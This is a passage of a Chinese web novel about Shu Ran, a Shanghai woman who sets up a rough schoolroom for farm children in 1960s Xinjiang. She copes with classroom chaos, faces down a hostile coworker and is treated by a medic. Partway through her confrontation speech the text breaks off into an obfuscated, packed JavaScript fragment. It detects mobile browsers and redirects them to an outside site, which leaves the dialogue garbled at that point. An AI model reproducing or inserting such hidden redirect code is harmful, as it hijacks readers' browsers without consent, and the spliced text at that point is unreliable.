轮到小丫时,舒染在她名字旁画了一个扎辫子的小女孩。小丫惊喜地“呀”了一声,伸出小手指摸了摸那个画像,又赶紧缩回去,小脸涨得通红,惹得旁边的孩子们笑起来。 课堂气氛渐渐活跃起来。连一直心不在焉的栓柱也被吸引,伸长脖子看着。 “虎子!” 虎子兴冲冲地跑上去。 “大毛!” 大毛也上去了。 轮到铁蛋。小家伙才七岁,懵懵懂懂,舒染握着他的手写名字时,他注意力全在舒染手腕上那块亮晶晶的手表上,写出来的“铁蛋”两个字糊成一团。 “好了,铁蛋也很棒!”舒染鼓励地摸摸他的头。 现在,只剩下阿迪力和阿依曼了。 棚子里其他孩子的目光也转向了他们。阿依曼紧张地揪着哥哥的衣服下摆,阿迪力则抿着嘴,一脸防备。 “阿依曼,”舒染微笑着看向那个害羞的女孩,尽量放慢语速,字正腔圆,“来,老师教你写你的名字。” 阿依曼眼睛亮了一下,下意识想往前挪,却被阿迪力一把拉住胳膊。 阿迪力皱着眉头,用本民族语言又快又急地对妹妹说了几句,声音带着明显的不悦和警告。 阿依曼的脚步立刻顿住了,眼里的光黯淡下去,害怕地摇了摇头。 舒染的笑容僵在脸上。她深吸一口气,没有强求,目光转向阿迪力,带着询问:“阿迪力?要不要试试写你的名字?” 阿迪力毫不客气地回视着她,下巴一扬,清晰地吐出两个字:“不——学!” 棚子里的气氛瞬间有些微妙。 石头不满地瞪了阿迪力一眼,虎子和大毛也撇了撇嘴。舒染笑道:“没关系,阿迪力想看看也很好。我们继续。” 她重新拿起石灰块,面向所有孩子,在门板上写下一个新的字:“手”。 “看,这是什么?”舒染举起自己的左手,五指张开,在黑板上的“手”字旁边比划着,“手!我们的手!” 她又用力将这个字描了一遍,“跟我读,手——” “手——!”孩子们齐声跟读。 “手能做什么?”舒染启发着,做出各种动作,“能拿东西,能吃饭,能写字,能劳动……” “能放羊!”石头抢着说。 “能捡柴火!”栓柱接口。 “能帮妈妈抱弟弟!”春草小声补充。 “对!说得太好了!”舒染连连点头,拿起一块新的石灰块,“现在,我们不光要认,还要学着画一画!每个人拿一块小石灰,在你们面前的土坯上,照着老师写的,画一个‘手’字!就像画画一样,看谁画得最像!” 她把几块捡来的小石灰块分发下去。 孩子们立刻兴奋起来,纷纷趴在土坯上,撅着屁股,捏着石灰块,开始他们的创作。 棚子里顿时响起一片刮擦声和议论声。 “哎呀,我的歪了!” “看我画的!像不像?” “铁蛋,你别抢我的地方!” 舒染走下讲台,在孩子们中间巡视指导。 “石头,这一横要写平……” “春草,竖要直……” “小丫,这个撇要斜一点,对,就这样……” 她走到阿依曼身边。小女孩蹲在地上,面前那块灰扑扑的土坯还是一片空白。 她捏着舒染给的小石灰块,眼睛里满是茫然和无措,惊恐地抬头看着舒染。 舒染心头一软,蹲下身,轻轻握住阿依曼的小手,带着她,在土坯上一笔一划地移动。 “这是横……”舒染用简单的汉语说,同时比划着,“横,平的。” 阿依曼似懂非懂,但能感觉到老师手心的温度,她紧绷的身体放松了一点,顺从地跟着舒染的力道移动。 “这是竖……竖,直的。”舒染继续 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石头则怒目圆睁,猛地站起来指着阿迪力:“你干啥?!” 阿迪力毫不示弱,梗着脖子,用舒染听不懂的话,冲着石头愤怒地吼叫着,拳头捏得死紧,感觉他下一秒就要扑上去打架。 小小的教室混乱一片。哭声、喊声、听不懂的怒骂声、土块滚落声混杂在一起。 阿依曼被这突如其来的变故吓傻了,看着倒塌的课桌,又看看暴怒的哥哥,小嘴一扁,“哇”地一声也哭了出来。 棚子里的空气呛人。舒染捂着被撞痛的后腰,看着眼前这失控的场面,心沉到了谷底。 所有精心准备的教案,所有美好的期许,都在这一刻被摔得粉碎。 “都别动!”舒染强忍着疼痛,用尽力气喊了一声。 这一声总算暂时镇住了混乱。孩子们都停了下来看着她,连阿迪力也暂时停止了吼叫,警惕地盯着她。 “石头!”舒染点名,语气严厉,“带着大家,把这些土坯扶起来,搬到墙边去!动作轻点!栓柱,你照顾一下小丫和铁蛋!” 石头愣了一下,立刻应声:“是!” 他招呼虎子和大毛:“虎子、大毛,跟我来!”三个大点的男孩开始动手搬动倒塌的土坯。 栓柱也赶紧去拉坐在地上哭的小丫和吓懵的铁蛋。 舒染则快步走到还在抽泣的阿依曼面前,蹲下身,掏出一块干净的手帕,轻轻擦去小女孩脸上的泪水和灰尘。 “阿依曼乖,不怕,没事了。”她的声音轻柔,安抚着阿依曼。 阿依曼的哭声渐渐小了下去,变成小声的抽噎,大眼睛里还蓄着泪水,但看着舒染温和的眼神,眼中的惊恐慢慢褪去。 舒染这才转向阿迪力。男孩依旧眼神凶狠,胸膛剧烈起伏。 她站起身,平静地直视着他。她指了指自己,又指了指阿依曼,最后指向门板上那个“手”字,一字一顿,用最简单汉语慢慢说:“老师。教阿依曼。画手。不是坏。是好。”她努力想表达善意。 阿迪力凶狠地瞪着舒染,他猛地扭开头,不再看舒染,也不看妹妹,只是死死盯着棚子外面。 棚子里只剩下孩子们搬动土坯的喘息声和小声的抽噎。 就在这时,一个带着哭腔的声音响起:“舒老师……俺……俺想回家……” 12. 第 12 章 是栓柱。他不知何时已经挪到了门口,小脸煞白,眼睛红红的。 舒染心头一紧,立刻走过去:“栓柱,怎么了?哪里不舒服?” “俺娘……”栓柱的声音带着哭腔,眼泪在眼眶里打转,“俺娘咳得厉害……早上差点都没起来……我得回去看看她……我怕……”他越说越急,最后几个字被哽咽淹没。 舒染瞬间明白了。 这孩子从上课开始就魂不守舍,原来是一直惦记着卧病的母亲。刚才的混乱击垮了他脆弱的神经。 “好孩子,别怕。”舒染立刻蹲下身,按住他瘦小的肩膀,语气坚定,“老师知道了。你娘病了,你担心是应该的。你现在就回家看看娘,好不好?老师准你的假!” “真嘞?”栓柱猛地抬头,泪眼中带着不敢相信。 “真的!快去吧!照顾好娘!”舒染点头。 栓柱转身就往外冲,身影飞快地消失在棚子外。 栓柱的离开就像开启了一个连锁反应。 “呜……舒老师……我……我裤子湿了……”一个更小的哭声紧接着响起。是铁蛋!小家伙不知何时尿了裤子,浅色的裤子上湿了一大片,尿正顺着裤管往下滴,在他脚边形成一小滩水渍。 他吓得浑身发抖,小脸憋得通红,哇哇大哭起来。 “啊呀!”小丫惊叫一声,捂着鼻子跳开。 “铁蛋尿裤子啦!”虎子指着铁蛋,没心没肺地喊了出来。 “羞羞羞!”大毛也跟着起哄。 铁蛋的哭声更响了,充满了无助和羞愤。 棚子里弥漫开一股尿骚味。 舒染只觉得一股热血直冲头顶,她用力闭了闭眼,她猛地提高声音:“都别吵!” 孩子们瞬间安静下来,连铁蛋的哭声都止住了,惊恐地看着老师。 舒染快步走到铁蛋身边,一把脱下自己那件半旧的蓝色罩衫,裹在铁蛋湿透的裤子上,将他整个下半身包住。 “铁蛋不怕,没事的。”她抱起铁蛋,声音尽量放得平稳,“老师先送你回去换裤子,好不好?” 她抱着铁蛋,环视了一圈剩下的孩子们,目光在依旧倔强的阿迪力和惊惶未定的阿依曼身上停留了一瞬。 “石头,”她看向最年长的男孩,“你是班长,看好大家,就在教室里,谁都不准乱跑!老师送铁蛋回去,很快就回来!” 石头挺起胸膛,大声应道:“舒老师放心!我看着他们!” 舒染点点头,不再多言,抱着铁蛋快步走出了棚子。 棚子里,倒塌的土坯堆在墙角,地上残留着尿渍和散落的石灰块粉末。 石头绷着小脸,努力维持着秩序。虎子和大毛缩在一边,不敢再闹。春草和小丫互相拉着手,小声安慰着。 阿迪力倔犟地杵在一边,眼神深处露出一丝茫然。阿依曼紧紧靠着哥哥,眼睛却不由自主地瞟向门板上那个白色的“手”字。 舒染抱着铁蛋,走在连队凹凸不平的土路上。她的后腰被讲台角撞过的地方传来一阵阵闷痛。 “舒老师?”一个不善的声音在身后响起。 舒染脚步一顿,不用回头也知道是谁。周巧珍正和另外两个女工从对面走来,显然刚从食堂回来,手上还端着搪瓷盆。 “哟,这不是咱们舒老师吗?”周巧珍走近几步,夸张地上下打量着,嘴角勾起讥诮,“这才第一堂课吧?怎么弄成这样了?啧啧,这娃哭的……还有这味儿……”她嫌弃地用手在鼻子前扇了扇。 旁边一个女工也帮腔道:“就是啊舒老师,听说你把牧区老图尔迪家那对犟驴似的兄妹都弄去上课了?可真够有本事的!” “本事?”周巧珍嗤笑一声,声音大得让旁边经过的职工都侧目,“我看是瞎折腾!资本家小姐嘛,非跑到这戈壁滩上充什么教书先生?你教得了吗?连个娃都哄不住,弄得哭爹喊娘的!这满身的骚气,不知道的还以为你掉羊圈里了呢!” 几个路过的职工停下脚步,目光在舒染和周巧珍脸上来回逡巡,窃窃私语。 “周巧珍同志,”舒染猛地转过身,目光直刺周巧珍那张得意的脸,冷冷地说:“请注意你的言辞!我在工作!孩子出了点小状况,我送他回家!这跟你有什么关系?” “工作?哈!”周巧珍像是听到了天大的笑话,双手叉腰,声音更加响亮,唯恐别人听不见,“就你那破棚子?还工作?省省吧!别误人子弟了!我看你就是闲得发慌,拿连队的娃娃们当消遣!有这功夫,不如想想怎么把你那资本家小姐的娇气收一收,早点滚回上海去吧!” 舒染不与她辩驳,更没有自证,而是把重点放在周巧珍的身上。论舆论反击,她学过心理学可太懂了。 她提高音量,义正言辞地说:“周巧珍!工作时间,你不去完成组织分配给你的劳动任务,反而在这里搬弄是非、造谣生事、恶意中伤同志!你这是严重的自由主义和无组织无纪律!更是对连队抓革命促生产工作的公然破坏!” 舒染语速极快,气势如虹,根本不给周巧珍插嘴的机会。 她往前逼近一步,“你口口声声说我误人子弟?启明小学是师部批准设立,连长也点了头的!这是响应国家号召,是建设边疆、培养接班人的大事!你在这里冷嘲热讽、百般阻挠,安的什么心?是想让咱们畜牧连的娃娃永远当睁眼瞎,好显得你周巧珍高人一等吗?!” 这话分量极重,直接给周巧珍扣上了个大帽子。旁边几个原本只是看热闹的老职工脸色立刻变了,看向周巧珍的眼神带上了严厉。 “你!”周巧珍被这劈头盖脸的指控砸懵了,脸色涨红,下意识想反驳。 舒染不给她喘息的机会,语气带着凛然的正气:“你先前质疑我的褥子,现在又质疑组织决定!甚至还阻碍我的工作!周巧珍同志,是谁给你的胆子,敢这样信口雌黄,对抗组织?!” 她的话让周巧珍身边那两个原本帮腔的女职工下意识地后退了半步,脸上露出惊惶。 舒染的目光扫过周围越来越多聚集过来的职工,掷地有声:“至于你一口一个‘资本家小姐’,恨不得把我踩进泥里!是!我家庭出身不好,这是历史!我现在是畜牧连的一名教师!我用手搬土坯垒讲台,用墨汁画黑板,用手教娃娃们写字!和你没什么两样! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361287|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她猛地举起自己那只沾着墨迹的右手,怼到周巧珍面前,也展示给所有人看,“周巧珍同志,你告诉我!我哪一点像你嘴里那个资本家小姐?!” “你嫉妒我有褥子,可以!你眼红去教学,也可以!但你千不该万不该,不该用最肮脏的心思来揣测同志!不该用最恶毒的语言来破坏团结!更不该阻挠娃娃们学习文化知识的光明前程!” 舒染的声音铿锵有力:“我舒染,行得正坐得直!我的褥子,批条在保管处!我的教室,是赵主任批的地方,我亲手收拾出来的!我的学生,是家长们同意送来的!我教的东西,是认名字、认工分、认识抓革命促生产!桩桩件件,经得起任何人、任何时间的审查!” 她逼视着脸色煞白的周巧珍,一字一顿地说:“倒是你,周巧珍同志!工作时间擅离岗位,造谣生事,恶意中伤,破坏团结,阻碍教育!要不要现在就去连部?咱们当着领导的面,把你说过的每一句话,都好好说道说道?!” 周巧珍被舒染这连珠炮似的反击彻底打懵了。 尤其是那句“去连部”,让她想起了陈远疆那双冰冷的眼睛,一股寒气从脚底板直窜头顶。 她的脸色由红转白,又由白转青,下意识地后退一步,撞到了身后的女职工身上。 “我……我……”她张着嘴,却一个字也吐不出来,眼神躲闪,不敢再看舒染,更不敢看周围那些目光复杂的职工。 她心里恨极了,恨舒染牙尖嘴利,更恨她当众揭自己的短!她知道今天这亏是吃定了,再闹下去,舒染真敢拉她去连部,到时候自己绝对讨不了好。只能暂时低下头,强忍着咽下这口气。 人群彻底安静下来。那些看戏的人,此刻对舒染充满了佩服。 王大姐不知何时也挤了过来,看着舒染挺直的背影,眼神亮晶晶的,满是激动。李秀兰则捂着嘴,一脸震惊。 就在这寂静中,一个冷硬的声音从人群后方传来: “怎么回事?” 人群让开一条通道。陈远疆出现在众人视线里。 他一步步走来,目光在舒染和周巧珍之间冷冷一扫。 “陈、陈干事……”周巧珍身边那两个女职工嗫嚅着想解释。 陈远疆径直走到对峙的中心点,“工作时间,聚众喧哗,干扰秩序,破坏团结。我看你们是闲的发慌!” 李秀兰想冲上去解释是周巧珍起的头,王大姐赶紧拉了拉她,示意她别出声。 舒染准备解释事情原委,陈远疆的目光却已转向她,“舒染同志在完成组织安排的教学任务。孩子出了状况,及时处理,是职责所在。” 他顿了顿,目光扫过周围的职工,最后又落回周巧珍的脸上,加重了语气:“任何干扰正常教学秩序、恶意中伤教师的行为,都是对组织工作的破坏。念在初犯,下不为例。再有此类事件,按纪律条例处理。” “还杵着干什么?等着我送你们回岗位?”陈远疆的语气一沉。 那两个女工慌忙一左一右架起周巧珍,几乎是连拖带拽地逃离了现场。 陈远疆没再看任何人,转身迈步离开。 13. 第 13 章 舒染抱着铁蛋,下意识地跟在他身后几步远的地方。 议论声这时才在人群中响起,刻意压低了: “乖乖……陈干事亲自发话了,那可是上面的特派员……” “周巧珍这下踢到铁板了!舒老师可是带着任务来的技术人才,是陈干事要‘保护’的人!” “嘘……小声点!不过周巧珍这回是真栽了,让她嘴欠!陈干事那是什么人?上次营部丢的那群羊,师部保卫处都摸不着头脑,人家陈干事带人出去转了两天,连人带羊全找回来了!还有上个月机井勘测点跟牧民的冲突,不也是陈干事去谈拢的?他盯上的人,没好果子吃!” “唉,也是周巧珍自己作死,非要去招惹人家舒老师……” 舒染听着身后断断续续飘来的议论,心头微动。 这些零碎的信息拼凑出一个更清晰的轮廓:陈远疆这个特派员,守护的不仅是专业技术人才,更是这片土地上生产秩序和生活的纽带。他的权力和威望,是在处理一件件棘手的特殊事务中建立起来的。 陈远疆似乎察觉到她还跟着,脚步微顿,并未回头,只沉声问道:“孩子怎么了?” “尿裤子了,吓着了。”舒染下意识地想把罩衫裹得更紧些,掩饰那股味道,“我送他回家换洗。” 陈远疆没再追问孩子的事,沉声道:“你腰上的伤,去卫生室看看。” 舒染愣了一下,没想到他注意到了。她下意识想拒绝:“不用,就是撞了一下,不碍事……” “骨头的事,你说得准?”陈远疆打断她,语气不容置喙,“教学任务重,身体垮了,工作谁接?” 舒染哑然。确实,如果真伤到筋骨,耽误的是整个扫盲计划。 “送完孩子,立刻去。”陈远疆最后丢下一句,大步离去。 舒染站在原地,手臂传来阵阵酸麻,后腰的钝痛也更甚。她低头看了看的小家伙,轻轻拍了拍他的背。 “铁蛋不怕,老师送你回家换干净裤子。” 棚子里还有一群孩子等着她,倒塌的课桌需要重建,阿迪力的问题亟待解决,栓柱家生病的母亲让人忧心…… 在这里,唯有挺住,才有出路。 *** 舒染将哭累了睡着的铁蛋交给他奶奶,又解释了几句,才重新走向那间教室。 然而,刚靠近连部那排土坯房,一阵咆哮声就传到她的耳朵里。 “——落后!严重落后!你们是干什么吃的?!整整三天了!排碱渠才挖了这么点?!” 是赵卫东,舒染的停在了原地。心里有股不祥的预感。 果然,下一秒,赵卫东那怒吼的矛头就转向了她。 “……还有那个舒染!搞什么名堂!弄个破棚子,招一群娃娃咿咿呀呀!鸡飞狗跳!全连都听见了!哭的哭,闹的闹!这像什么话?!精力不用在正道上!尽搞这些花架子!拖全连的后腿!我看她就是……” 哐当一声,像是搪瓷缸子被砸在桌上的声音。 “老赵,消消气……”是马技术员试图劝解的声音。 棚子里还有孩子们在等着。 她不再理会墙内传来的咆哮,快步绕过墙角,走向那间工具棚。 *** 推开那扇破门板,棚内的景象比她离开时更显狼藉。 倒塌的大土坯被石头他们搬到了墙角,碎成了更多小块,地上散落着泥土和石灰粉末。 小丫和春草依偎在角落,眼睛还红红的。虎子和大毛蹲在一边,用石灰块在地上胡乱画着。铁蛋的位置空着。 最显眼的还是阿迪力。他像一头倔强的小狼,依旧抱着胳膊靠墙站着,下巴扬得高高的,眼神警惕地扫视着门口。阿依曼则坐在哥哥脚边的地上,双手抱着膝盖,小脸埋着。 只有石头,学着班长的样子,守在门口附近,看到舒染回来,立刻挺直了腰板,大声报告:“舒老师!铁蛋送回去了?我们……我们没乱跑!课桌……课桌搬那边了!”他指了指墙角那堆碎土坯。 “嗯,老师知道了。石头做得很好,是个称职的班长!”舒染夸奖道。 她环视一圈,目光在阿迪力身上停顿了一瞬,男孩立刻充满敌意地回瞪过来。 她的眼中并无波澜,平静地走到倒塌的土坯堆旁,艰难弯下腰,捡起一块稍大些、相对平整的碎土坯,又拿起一块石灰块。 孩子们的目光都聚焦在她身上。 舒染将那碎土坯放在地上,用石灰块在上面写下一个“手”字。然后又捡起旁边另一块碎土坯,写下另一个“工”字。 她抬起头,目光扫过每一个孩子,最后落在阿迪力紧绷的小脸上,语气平和地说:“刚才,有人用手推了老师,有人用脚踢翻了课桌。” 阿迪力的眼神闪烁了一下,抱着胳膊的手不自觉地紧了紧。 她指了指那个“手”字,“手,可以劳动,可以创造,也可以推搡、破坏。” 她没有提及上堂课的那场混乱,继续平静地说:“但老师相信,我们的手,更想用来创造,用来学习。” 她话音一转,指向那个“工”字,“工,做工,工作,劳动。就像你们的爸爸妈妈在开荒挖渠,在放牧挤奶,就像石头要去送水割猪草,栓柱要照顾生病的妈妈!” 她站起身,走到那块黑板前,在原有的“手”字旁边,又写下个“工”字。 “劳动光荣!”舒染的声音提高了一些,“我们学习认字,不是为了不劳动,而是为了让我们劳动的双手更有力量,更有智慧!认了字,石头以后就能像他爸爸一样,把工分记得清清楚楚!认了字,阿迪力以后就能看懂兽医站给羊羔打针的药瓶上写的字,知道怎么更好地照顾羊群!认了字,我们才能看懂拖拉机的说明书,知道怎么修好它,让它帮我们开出更多的荒地!” 石头听得眼睛发亮,用力点头。连虎子和大毛也停下了乱画,若有所思。阿依曼悄悄抬起头,看看黑板上的字,又看看哥哥。 “现在,”舒染拿起教棍,指向门板,“跟着老师读,手! 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阿依曼看看哥哥,阿迪力没有任何表示。她犹豫了一下,还是慢慢站起来,走到舒染身边。 舒染拿起一块小石灰块,塞进她手里,又指了指门板上的“手”字,然后指了指地上另一块稍小的碎土坯。“阿依曼,帮老师,在这里,再画一个‘手’,好吗?就像刚才那样。” 阿依曼看着那个熟悉的字,又看看舒染鼓励的眼神,用力点点头,蹲下身,在那块碎土坯上描画起来。 棚子里,大家各司其职。 舒染看着专注画字的阿依曼,又看了看一旁眼神复杂的阿迪力,心中一动。 “石头,”舒染叫过正认真垒土坯的班长。 “舒老师?”石头立刻跑过来。 “石头,你最大,是班长。老师交给你一个重要任务。” 舒染指了指阿迪力,又指了指门板上的字,“阿迪力可能还不太明白我们说的话。你能不能帮老师一个忙?以后上课,老师讲的话,你告诉他大概意思吗?” 石头看了看阿迪力,又看看舒染,挺起胸脯:“能!舒老师!我会说他们的话!” 阿迪力皱着眉看着石头,用蹩脚汉语说:“诶!她简单话!我听懂!” 石头赶紧给舒染说:“老师,他说你讲的话他能听得懂!不过得和他说一些简单的句子才行……” 舒染恍然大悟,原来阿迪力并不是对汉语一窍不通,对于一些简单常用的词语,他是明白的。 那这样的话,就更好了。 舒染对石头说:“那以后老师说的一些难懂复杂的话,你就给他翻译,好吗?” 石头拍拍胸脯:“保证完成任务!” 阿迪力看着妹妹脸上的笑容,又看看石头示好的样子,抱着胳膊的手稍微松了松,虽然还是没说话,但是收起了剑拔弩张意味。 舒染在一旁静静看着,心中稍安。这是个好的开始。 14. 第 14 章 上午剩下的时间在忙碌和重建中飞快过去。 舒染没有再教授新内容,而是让孩子们在重新垒好的那些更矮小土坯课桌旁,反复练习“手”和“工”这两个字。 阿依曼画得最认真。阿迪力依旧没有动笔,但也没有再捣乱。 舒染看了看表,下课时间到了。舒染让孩子们排好队,一个个点名放学。 “石头!” “到!” “路上小心,下午帮家里干活也要认真。” “是!舒老师再见!”石头响亮地回答,第一个跑出棚子。 “春草!” “到……” “小丫,牵着春草姐姐的手一起走。” “好!” “阿依曼,阿迪力!” 阿依曼怯生生地应了一声。阿迪力哼了一声算是回应,拉着妹妹的手,头也不回地快步离开了。 舒染看着他们小小的背影消失在连队的土路上,轻轻叹了口气。路还很长。 送走所有孩子,棚子里瞬间安静下来,只剩下满地的石灰粉末和孩子们留下的稚嫩字迹。 后腰的钝痛让舒染扶着讲台缓了好一会儿,才收拾好自己的东西,用铁丝拧了一下那扇形同虚设的破门板,走向连队食堂方向。 她这才想起,自己从早上到现在,滴水未进。 食堂里人已经不多了,过了用餐高峰。舒染走到窗口,递上自己的搪瓷盆。 掌勺的胖师傅抬眼一看是她,动作麻利拿起大铁勺,实实在在地伸到桶底,舀了满满一大勺菜汤,分量比给一般男职工的还足,“哐当”一声扣进舒染的盆里,然后看也不看舒染,转身就去忙别的了。 舒染看着盆里冒尖的饭,微微愣了一下,随即明白了什么。她端着盆找了个角落坐下。 刚坐下扒拉了两口菜汤,一个身影就端着碗坐到了她对面。 “舒染同志,真巧啊。看你脸色不太好,上午……很辛苦吧?”是周文彬。镜片后的眼神带着关切,还带着同病相怜的忧郁。 舒染咽下口中的油饼,含糊地应了一声:“嗯,还好。孩子们……刚接触,有点乱。” “唉,”周文彬重重叹了口气,身体微微前倾,压低了声音,“我上午在地头做土壤采样,都听说了。赵卫东那个大老粗,又在办公室拍桌子骂娘,还把你那……教学点,说得一文不值。还有那个周巧珍,到处嚼舌根子。” 他摇摇头,语气充满了愤懑和不解,“你说说,这叫什么事?我们响应号召,满腔热忱地来支边,想用所学做点事,结果呢?处处碰壁!跟这些……这些人,根本讲不通!他们眼里只有锄头、铁锹、工分!哪里懂得知识、科学、教育的意义?” 他越说越激动,声音也略略提高,引来旁边几桌人的侧目。 他赶紧又压低声音,推了推眼镜,眼神热切地看着舒染:“舒染同志,你有没有想过……我们可能来错了地方?或者说,这条路,根本就走不通!” 舒染拿着勺子的手顿住了,抬眼看着周文彬。 周文彬凑得更近,声音几不可闻,“我……我最近一直在想。上海才是我们的根啊!那里的生活、工作环境、理解我们的人……这里有什么?盐碱地、无穷无尽的体力劳动!舒染,我们得想办法!想办法离开这里!回上海去!哪怕……哪怕付出点代价,走走门路……总比在这里强!我们两个有文化,又都是上海来的,可以一起想办法!互相也有个照应!你觉得呢?” 他的眼神充满了期待。 舒染的心猛地一跳。回上海……那精致便利的二十一世纪生活不受控制地闪过脑海,带来一阵强烈渴望。 她突然觉得手中的油饼都失去了滋味。 舒染看着周文彬镜片后那双渴望逃离的眼睛,仿佛看到了另一个可能的自己。 如果……如果她没有接手这个破棚子,没有面对那群孩子……她是不是也会像周文彬一样,日夜盘算着如何逃离这风沙之地? 她低下头,搅动着盆里的菜汤。半晌,她才抬起头。 “周技术员,”她看着周文彬的眼睛,“这里的土壤改良……很难吧?盐碱那么重。” 周文彬一愣,没想到她会突然问这个,随即苦笑道:“何止是难!简直是……唉,巧妇难为无米之炊!设备简陋,人手不足,上面只要结果……” 舒染打断他:“但总得有人去做,对吧?就像这盐碱地,总得有人去改良,去尝试。否则,永远都是盐碱地。” 她顿了顿,看向远处棚子的方向,“谁不想回上海?干净的床铺,不用闻牲口棚的味道,不用跟盐碱地较劲,更不用看赵卫东的脸色。”她露出一丝苦笑,“说实话,我做梦都想。” 周文彬眼睛一亮:“对啊!那我们还等什么?一起想办法……” “怎么回?拿什么回?”舒染压低了声音,眼神锐利而清醒,“没有正当理由,没有过硬的关系,没有良好到能脱胎换骨的表现,就算跑了也会在卡子那里被遣返回来!装病?走门路?你信不信,只要露出一丁点苗头,第一个盯上我们的就是陈远疆?” 她的话虽然残忍,但是事实。周文彬张了张嘴,想反驳,却说不出有力的依据。 舒染认命般靠回椅背,语气冷静:“在这里,教书,是我唯一能抓住的稻草。教师的身份,固定工资,细粮配额。这个小学,” 她朝棚子的方向努了努嘴,“是陈远疆给批的,是组织安排的任务。只要我把它撑起来,不出大乱子,教娃娃们认几个字,唱唱歌,至少……我在这里就有了个安身立命的正当工作,有了好的表现。赵卫东再看不惯,明面上也不能把我怎么样。” 她眼神里掠过一丝复杂,声音低了些:“至于那些学生……,我承认,那不是我要留下来的原因。” 她看向周文彬,眼神坦诚:“所以,周技术员,不是我不想走,是眼下根本走不了。留下来教书,是目前唯一一条能让我活下去,并且争取活得稍微舒服点的路。至少,比开荒挖渠,要强那么一点。至于将来?等站稳了脚跟,摸清了门路,攒够了资本再说吧。”她的眼神里带着狡黠和期待。 周文彬彻底沉默了。他明白,眼前这个资本家小姐,远比他想象的更务实,也更懂得如何保护自己。 周文彬颓然地靠回椅背,端起自己那碗菜汤喝了一口,再没说话。他知道,他们的路,终究是不同了。 舒染也没再说什么,默默吃完了自己 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“舒染?!是你!真的是你!”姑娘惊喜地叫出声,几步就冲了过来,一把抓住舒染的胳膊上下打量。 “天哪!我刚听连里的人说来了个上海老师叫舒染,还以为是同名同姓!没想到真的是你!我是君君啊!许君君!上海药厂许伯伯家的,小时候我们还一起在玩过!记得吗?” 舒染被这突如其来的热情和一连串的信息砸得有点懵。 她迅速在原主的记忆里搜索。 许伯伯?似乎是原主父亲纱厂合作的一个药厂负责人,关系还算不错。许君君……一个比原主小几岁,总是跟在她后面跑的小姑娘形象浮现在脑海。 “许……君君?”舒染努力让自己的表情显得自然,带着一丝久别重逢的惊喜,“是你啊!真没想到在这里遇到!”她看着许君君身上那身白大褂,由衷道:“你在这里当卫生员?” “是啊!”许君君用力点头,拉着舒染坐到椅子上,像打开了话匣子,“我卫校毕业就报名支边了,分到这里快一年了!这里条件……唉,你也看到了!缺医少药,啥都缺!我刚才就在找纱布,最后一点都用完了,急死我了!” 她说着,又皱起了眉头,但很快又舒展开,看着舒染,眼睛亮晶晶的,“不过看到你真好!总算有个能说家乡话的人了!快跟我说说,上海现在怎么样了?”她眼中流露出乡愁。 舒染心里暗暗叫苦。她对六十年代的上海能知道多少?只能含糊其辞:“变化……挺大的。我也刚来这边不久。” 她巧妙地转移话题,指了指自己的后腰,“君君,我上午不小心撞了一下腰,有点疼,陈干事让我来看看骨头有没有事。” “撞了腰?快让我看看!”许君君立刻关切地说:“来,趴到床上去,衣服撩起来点。”她扶着舒染趴到那张简易诊疗床上。 许君君的手指在舒染的后腰处仔细按压检查。“这里疼吗?这里呢?……骨头应该没事,就是肌肉挫伤,有点肿了。” 她松了口气,“我给你擦点药酒,活血化瘀,这几天注意别太用力,多休息……呃,”她想起舒染的工作,无奈地笑了下,“尽量吧!” 15. 第 15 章 许君君转身去药柜翻找,终于在一个角落里找出一个棕色小玻璃瓶,里面装着深色的药酒。 “只剩这个了,效果还行,就是味道冲点。”她倒了些在掌心搓热,然后用力按在舒染后腰的痛处。 “嘶——”一股辛辣灼热的感觉让舒染忍不住吸了口气。 “忍着点,揉开了才好得快!”许君君手下不停,动作麻利而专业。 她一边揉,一边忍不住絮叨:“你说你,好好的上海不呆,跑到这戈壁滩来教书,还把自己弄伤了……那些娃娃不好管吧?我听说上午闹得可凶了,连老图尔迪家那个都去了?你还真敢收!赵主任没少给你脸色看吧?不过,”她压低声音,带着点小兴奋,“我听说陈干事帮你说话了?他可厉害了!是师部下来的大人物!有他罩着……呃,支持,赵卫东也不敢太为难你!” 舒染趴在床上,闷闷地“嗯”了一声。许君君的手无意间碰到了舒染的手腕,她“咦”了一声,抓起舒染的手翻过来一看——掌心磨破了好几处,还有几道红痕和挑破水泡留下的印子。 “我的天!你这手……怎么也弄成这样了?”许君君惊呼地翻看着,“这可不像是粉笔灰弄的!你……你还干啥重活了?” 舒染有些尴尬地想缩回手:“没什么,就是……垒土坯当课桌弄的。孩子们只能趴在上面写字画画,又硬又凉,胳膊都硌红了。我想着,看能不能想办法给他们弄点能坐的矮凳,哪怕用废木头钉几个呢。” 许君君立刻明白了,又气又心疼:“哎呀!你傻呀!那破棚子能凑合就不错了!你还真当自己的洋学堂来拾掇?那些东西是你能弄动的?还做凳子?木头呢?上哪儿找木头去?” 她想起什么,压低声音,带着无奈,“我前两天去仓库领消毒水,正好听见老保管跟人叨叨呢。仓库里那点备用木料,赵卫东盯得死紧,说是留着完成指标任务用的,谁动跟谁急。连陈干事批条子估计都够呛,他那个人,原则性强得很,不会为这个破例的。”她无奈地摊手。 舒染的心沉了沉,但脸上没露出来。“知道了,我再想想别的办法。不能总让孩子们趴土坯上写字。” “好了,腰上先这样。”许君君终于停下了揉搓,用一块草纸擦掉舒染腰上多余的药酒,帮她把衣服拉好。“来,手给我,这破皮的地方也得处理下,感染了麻烦!” 舒染依言伸出手。许君君麻利地从药柜里拿出一个盐水瓶和一小块脱脂棉,沾湿了,小心翼翼地擦拭舒染掌心磨破的地方和红痕。 盐水碰到破皮处,带来一阵刺痛,舒染忍不住缩了一下。 “知道疼了?搬土坯的时候怎么不想着点。”许君君嘴上埋怨,手上的动作却更轻柔了些。 清理干净后,她又从一个写着“红药水”的小瓶里,用棉签蘸了些紫红色的药水,仔细涂在破皮和红肿处。 